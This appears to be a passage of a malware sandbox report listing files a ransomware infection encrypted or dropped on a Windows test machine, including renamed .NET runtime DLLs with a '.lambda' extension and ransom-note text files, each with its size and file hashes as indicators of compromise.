                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Quic.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            287KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            bf905d1cfa0ff20fcb11ad01f5b7b573

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            f5af8420ec59acf0246343d52dc6fe08b9d2e914

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            1fcea99170dcaa74a72c12a5692c801df703e6c4329f06e3dbbf82d05fd71592

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            ef5bb9dfb7a49d1fdac1144820319cc59851d579f9975374307e24be35251efc15687e934c251d5b16f7e7ed39e855849e303a7e092a7e7a08c12e0089003701

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Net.Requests.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            341KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            be7753db456572a96e75f6894f62c637

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            1b5380b5ccaf65fb6e5aa5047fb7037831474e0a

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            06420d8d0e8d04b627e5ed6ea0f6c8e00c83be53367af0befa54f07f4e1b3596

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            74a3fa79066d3a909d7d60a1ee3036fa4b6dd14c4d857266f53fe5ddf4cb1d8650c029bcb6a149b5dde5da27deaf516121b1b42c44eb4dc187623d33897cd795

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.Uri.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            247KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            503c9dab8405640b9702cec09def6ad6

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            e2a7c61f299112358ce5ca91060747f4453aed06

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            8d1a357cf21d4ac731afdce87f319290e16017aea1c841f7b4b14e524702e671

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            bed5a8306445bfe8f3cbaffd1cfbf8706e14b093f13911f81c0d158529415ee8f1b6f2c2539dc892e8824ca5bf9782457bece2a78d89f740cbbe12def72c6020

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Private.Xml.Linq.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            396KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            ee21766f9a718c068a319ceb4af0dce6

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            529158e1667128840594ad3a5468a0a5f6f47084

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            55e1351cd409a0c97a51406ad49ccf36dca5af1bac2336bbb0661628c4f878e1

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            15d8a3403c76cee6fb5135e0c2fbab14fb6cbfbd2f3dd9dede0568ecd63f85bd382f27c4a7378f1183797313373a0f65f8bc6b3c19adcfef95ed5bb72f25600b

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Runtime.Serialization.Formatters.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            315KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            94089c68aacdaa651cf9099a92f5331f

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            bc97c52718c92f5ba9d2063be0c8d67b2de483fa

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            ee8c76ab0cb55295d42253f2b15da2b97f2ef6657bf81fef36f0e134644baa1b

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            6d2625fe36d2bbae75c35db56c10e61902d22819aadf16e1b00766210c3232606e476e2ef06dea0bb07b02534d53d054635616c8e79d50536bbd50680223e84e

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.Algorithms.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            788KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            5c1f33ae6b5f925656318758faf4abe6

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            a788fa66ea7bc55b5133c0357bff6c6b6901e57d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            9b82d586b615302a2d4f2d0f589ed9754ed7c74ec7ad83df145fe235dee00980

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            0ecf051f33c29c383d095176102543d7add85c90678819cc6a7c4d821d1cf8b884dfa31fe74ece9445f3819273c12dd1c2a80ee15d9c90aea3c483289eba0377

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Cryptography.Csp.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            185KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            9f3d2955e64642ab4849521e137c5688

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            f0c6fe479c082dd5d3c606585b0974ce99b9f173

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6453dee8239304bf916d2f4594c7a4d546d948d2f796c2e8f085741322b131dc

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            30ca4c3a9536c5bd6c20a9b0a1330e2bc733b6c0b01efcfd196c2304edcaacf8f5d5e0745f77a16204bf18a52b931c8231d9f343552d63290f17de24732e939f

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Security.Principal.Windows.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            148KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            846ef1f9887c6373866fa264a316b6e1

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            c85ca86650feee260e45791fce618083f6d1aa28

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            5987d3051fedf7207c376ebbeac088f120f75eba863d3bc20d3ed889793b78b8

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            689cbc725bb62c918999931d1b0cbaebf29b643315492d9afdff89830f0e2aac8e0166d3d102cc44ed4a8a48b0582e8c578b3a05eb692a3b8e3c6af4fe4cd91b

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Text.Encoding.CodePages.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            851KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            bd1aac94f4a6d0733a4f8eb288fcd727

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            04ef5b3f8ff81b6415b713753a6c91f0d86d93c5

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            86a598d5246b74a6425d1c1ce6a596eecce38f71c1a41925be8ec4c5c4d75cf7

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            19dcbac202d7b98cb014bafa3fb2bf12b833173b1acc553ab3c6da37bd0169a3fa5ea8627edb36c9ee7400a1ae7df1299ecbc83024555905bff195979f44907a

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Transactions.Local.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            343KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            e134acb08b433313ee8f193299be37db

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            fa8e073828e719b6541826623d7cbad26c3b7d11

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            831fb6d6a290db376b22d1810ba420b49f9e163a5c0d20c26a4c9ee1445d4b17

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            f8603eb13d8033687b1db0b0f1c96a27860a92c12bc3074f56a615439c689c00c7f1ab3710466775d336d17a4bf13cc6d491555c934c057098d0ac52a9a761b6

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\coreclr.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            ee1de7e2aa31f53100a936f01f7b6253

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            327ba62d361877a2efb5c3e045d01c570eaba661

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            e7aa41e5fb9e0091eb5519e562e2a9a459e96cccb1fd3ac2b051f070292dec63

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            c4363d735aca1a3ba08cda0ffc92d5e71f7a165d1cac197c20108a9599f2d5535f6a0a6c0602b59946201bef949cb954e60c5a109ba7f6627636a4e773bcd65c

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Collections.Immutable.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            678KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            c646d0cacfcbe9e4359c3eb67155ca20

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            499fc0c58e11ccb396fde1aa5f5bc46e7bd7f358

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            16df743192907e941c6d39d67596a9172b9f12754c6fa00cb6d8bd5cb2803b8c

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            9d6650b9bcedad43fb8d71f13d58f0f523d2f040b7408bc58ba836e2a8f3d78e14ffb163918d9cbd13afd3403845a12e87e4f9d0c00d0f16dacd021dc3c130ca

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.Annotations.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            194KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            bac2b9cf2344d95faf418966966e3e15

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            baa29c83c20dadf38ffe437b067258ec38d3ec6e

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            49561bff57de25319dfa1bd88772aba5f47966b0e656aa1b3d6239b37c5e276b

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            915b9f90bb01593f73f4eb56f9cae4a1a0edbeba4263aa652989e1b195d6ac6a8ffbe4aaddea73af88707058c27602fa38bf6e2524ddb34a5ba2ffdc09a8be9c

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.ComponentModel.TypeConverter.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            738KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            d6135673bb13bcc92d408dfe9d7e0cd4

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            0eb3ffb1547eeca284f1f2c08fff96b6b6c4500d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            35534ce2bd34572d07124a01f0196632840fd249acf003696fa1c529708113c1

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            934905be3f26ebdfce4a4fc8a1c93bcb344bb0d9d6ec1d50f712fb91ac8663e92cd862d5cc30f8e313737309cdbbc4ae494c8f302bd26a07e9e306872f5d5f1b

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Console.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            178KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            305c50cc827f02ddc3e79f25d8f83cc3

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            a34cc3dfa9864e320ff8174e688b78eff2cd376e

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            ad4dcbb480073e214490a84d56a76817e65f51983928ef28dbe010215b1a0335

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            edf2d60ddff2a736a96a603d0023acccfdcf61a45f8b32a4572bdeeedfc7fb78532bfe456e81669bf14df1f358ae54deb8994a61fb6ce7a9a3d37f02c575775d

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Formats.Asn1.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            202KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            3a879661e1dbe5db0aee5cf866629240

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            9f41bbda6557e3a60139669c77602de6aeb65c7d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            488460bbf549cf365089c28c25eb0307fbb40c08d80dffd048b6c4fb9e22aa6b

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            3e92e4429308407ed5491e5d9fc492d3717a15d59882e966c98d1630a785f2ecb99a64648fb01662b21e877522bd8c15cc3262e65e88209153439bcfc14cf935

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Compression.Native.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            817KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            56d47a27daa9ecb6073bc2e62014d47d

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            78837c1c090b396563bb615f46a387b6a05dae5f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            7803be4b9f730b9796db3a228e4b1e147a57f9645b7bed58ce268daebbf5a62d

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            53f66898c01fbc5e398eeb821a9a465ca796eb8d3dd02f32e9797f0ea3216043643c439bde5bb6f090aae9b7e782451306bf41ee3b98e57ce940c11088ffd0d4

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.IO.Pipes.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            182KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            f9ef3b1dc14aaa6dfc47f8a69eb9a0fc

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            796254b47825a5b20a1297b2b36f13c26333c1a6

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            5f74b3f70bef2db15f772c4cf24e2eb297945bc1b1735c19626cc8bb863f02c5

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            8df7441cf2c133f07c24177592e88c13edd0119bafea5c0abccdb7692cd3a7dfa5e9e90f716679afbcd9806a747c87d7219f0e8a8becf2d830356b17f7c0e3be

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Linq.Parallel.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            830KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            c5c55480d537f41c2c2cacf0c5b5ee3c

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            3fec9719e6de279a1fd57fbff7490c3896826585

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            4529fff4c769cf63210b9185727b96db015370021c8146aa1728edfb35e49b97

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            2df008a7cc51c01d5df0f1443105cc57eac416f3b2be36cd23f1a38deebab542337a9e4a1dbbb26c7ae541ac11e8c757c62babe399ac4a5aa5770163adf00295

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Memory.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            158KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            4f0be4a9d40c6b7a2df12c2aa8686a49

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            abeb832e13fb9dbe0a19c090ee7365525b9f828f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            f0399fc9b1c247ad866978addf509a4c380a06c00769489ab8c469b7e25bb390

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            f76dced1a307041af9569c403b1dbb7b43af74d24f8b69ffed0cdb466e2bb1485d9c79835b625fa8a48452136f08e8fa1d1cc11376285260a751d81357c485a8

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.HttpListener.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            690KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            46ec3fb95e76b8dbc88ea6e9227e2919

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            1b22c0d5734a6f46378ffb67e0c4260a0a1b342d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            3737e7e301ef25d041ef8748d158c1543cc921f4ab4d481575e41d45ff17eba2

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            0a6475dde27c72d429ddf634a57d96e69248a541cf8ccdb7eba0935886c10e0b291a5212bf13e4b35b368d5103c88e7b1023eded2e7d5ddfd1e49f3fea7ddc8a

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Net.NetworkInformation.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            166KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            7bc684595e39c7920db5a0b82befe3a0

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            bb1dd328defadc1e2f3679380bb356dfc029831b

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            ef7728a0b476f2d9b7744092772cc994fe4a4c0f533b8fe6063928baefd9ddad

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            9ec1f8b0db7ce6ded9993bbaf3bd439901359adaefb4c990b8fa7a599a6d9c8c3535bdf2cfd5f8eef92ec68bbcab2cfbd5b2f0f761c32e12e6e5df138b9975b6

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\clretwrc.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            302KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            781a5faee50fd910be0b3ac3cf97a760

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            1f34e6ba414497cfa6c56828c33ffa3d299e3527

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            e19c4e589a21f4670145fc151d40ca629bf3a0472dfce0b8f6a16cb2cf3ded73

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            136d6c63d8c50ebb835d1cb7f7763fe19911f23bc727e403c6894333d3cfa3abf59d25ee972b2bce8f6904cdbdf8add9182a8f58c7c43bf5a08fe7fb919c182f

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\clrgc.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            654KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            88975d59aa6503a7b3d53df549f2f0fe

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            4b40649887708a64f421d0705e1a2638d709c3e0

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6f573fc3d2aa735526913f81a548ee7d3f5507c54ff2b74e2437056c315f09b4

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            b3725f9b2768cc4837144a23d50cb95b8ead6dd1114704df4be10be641536ba7abc2e768ae0c1a72a493645a6b1db3dd47da2f6aa3871985aa40a742c334b814

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pt-BR\PresentationFramework.resources.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            198KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            3fedc575e43002f2797d4c4782fe9c35

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            e19fe386a0ac0323899b71f1d31222327a987eaf

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            cd3ed47c253e824b2ae58b258632a3def0ce7f905d9d1ea43b07ed37383f72f8

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            7cf64c28f5aa31c4f6d201c04308ee9fa9de17d9e5eeeaec097d6e75352a953a8f6b4eb379937786be5c993163caea9d144327ec359f379276348ba062f791f2

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\WindowsFormsIntegration.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            206KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            6678f5ecf7e7be630d0ba43fca64aaba

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            7e39301b7ac70cf579ce3b5b320491146ceaf66c

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            4b32ad4cdd980080568403e4e3b73e315154c145c2f0363e43bd4f7f9293bbd2

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            a7b0518828f912ec6bf63549e45f9f2aa8f4d5e28e349da3bd6bde26668265d222d494dd7a059a70c429968898b3013d2c7bc66e848491e7f42cd0e7101856eb

                                                                                                                                                                                                                          • C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ko\System.Windows.Forms.Design.resources.dll.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            148KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            4f0cd2f582e0f027991ba45b383c107d

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            858eff30d7e59e4eda59c61501b5d4b03d28a721

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            a5c958430d8384e6c081edbc1325c0901f9f27232488100f91aabf12e927cfd2

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            4be0596d61883790e9987dadfd5a11062f7dbabe8192ee716c573388e368ef581b91bb56f61be08e45d203fd6242e2f60fbf64ef84480277d4adddb92a63601b

                                                                                                                                                                                                                          • C:\ProgramData\Microsoft\Device Stage\GET_YOUR_FILES_BACK.txt

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            114866e5c83d51435aa6ce41216704c8

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            3b984aae7aa8eb28d57a9e3df0bbd809af51f8e2

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            287346fb858b9559c539a30d337c47552570de818364ceda705a997791872600

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            d1880fd682c2bafaa6e8772abfae5a18e57073704e773f93584d3886d70b7e3d0f92358794a4d2094d125f690eaee94f13518e1a64771249721301d4e8d534f3

                                                                                                                                                                                                                          • C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            21.3MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            42f526570ddb87ae9accd3919f1f18b9

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            acf9a8b6e6f356c4f5137000ac896e835c338a19

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            74f794fbe715558d6bf3b15004361659c0ef3c4cfad8e8c35ad98e9d494c636a

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            db457473c79f14d554b3ce50d6a3f994ec4fc2f8f862061c7eeb769216beb88e2d9142528559dcf44c21eee14dc711acad996fd0c26243c118cac25a4d014bb3

                                                                                                                                                                                                                          • C:\ProgramData\Package Cache\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}v14.30.30704\packages\vcRuntimeAdditional_amd64\cab1.cab.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            448KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            875949579ad30d278dad7b3044ee5064

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            fa0fbefe17814552eb4b116bfaf8e4a7635c8789

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            0b9ca85e10a345bbcc44f88876e997f65d6f17e40c45d7ac474f054b00a005ae

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            47f66d38d83942d2bb924d40a8e4e3c514c47327d50e28953d20c4f2788ed663dcb8f71a46b49816b6e552c45ba4641044e2aaee251cfc4dc2045e6fbb44a925

                                                                                                                                                                                                                          • C:\ProgramData\prvkey.txt.key

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            8d8357ee2e0f1372026543f02eaeefb3

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            daf5f4e97fc8472ac3be7b86c996d429769edb9a

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            8cb56d4df999f693b3bb3015fb2b8353d2f3b3c5c82cfe66eecf4baaa69f2cea

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            cffb8438a4ff1328deaeb182f9c77b19bc5100e37186b298cfa9ef5dc9f055c4abf03b243e57bf17749cc92cf9ab39b8070e28b2dc2c3bbf8d22001d16c8e921

                                                                                                                                                                                                                          • C:\Read Me.TXT

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            a456d8755b5ca487e440d06efd02328b

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            4457e9960a47c6c8ac4424def0cd4096460fd068

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            5dd95a843dab96daf8516450ae5578faa4839d52061f41cdd58b235ea3c6e634

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            40f44d3a4c0442c67efbe3e23f679dcd91a1f66c9e846dc6d9d53030727f434834257502aa786c220ee9a784be23a81b015a2c659b474e8945714f5aa9af8232

                                                                                                                                                                                                                          • C:\Read Me.TXT.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            e6c2d8a21c6c5d2bce5eb0000ed07f6a

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            b808681aab312d9ac106d55af5bdf0f159fdccc1

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            b58867a8cb34edd6bc1da436ebd4fe88fed593cea68905c5837fee347e414d20

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            29a5565daa225cbce72eb0c6bf828d24f107cc5104392da5da53fca663e56ffa6740cacb934447472ae49560a252d1caca5f04eb7cc65cd362cbe529ba7c1d41

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            d2fb266b97caff2086bf0fa74eddb6b2

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            4B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            f49655f856acb8884cc0ace29216f511

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                                                                                                                                                                                            SHA512

